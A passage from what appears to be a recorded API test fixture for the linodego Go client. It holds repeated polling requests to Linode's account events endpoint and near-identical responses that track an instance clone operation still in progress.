"/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 38.175853, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 38.23947, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 38.344696, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 38.423475, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 38.489198, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 38.56274, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 38.624977, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 38.687969, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 38.763145, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 38.826302, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 38.894307, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 38.961874, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 39.029346, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 39.092419, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 39.573568, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 39.701584, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 39.778588, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": 